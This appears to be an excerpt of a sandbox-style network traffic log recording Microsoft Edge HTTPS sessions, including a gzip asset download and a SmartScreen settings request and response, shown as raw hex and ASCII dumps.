2024-11-22 16:08:59 UTC	577	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:59 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 1dceea20-601e-005e-33d8-3c9b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T160859Z-15b8b599d88z9sc7hC1TEBkr4w00000001qg00000000ks02 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 16:08:59 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-22 16:08:59 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-22 16:08:59 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-22 16:08:59 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.10	49792	20.25.227.174	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:59 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiSlN0dC9TdkgxSngrMW5ZekVnVGFkUT09IiwgImhhc2giOiJETHhIUC9KY0pyOD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-22 16:08:59 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-22 16:09:00 UTC	302	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:59 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-22 16:09:00 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-22 16:09:00 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-22 16:09:00 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.10	49776	18.165.220.110	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
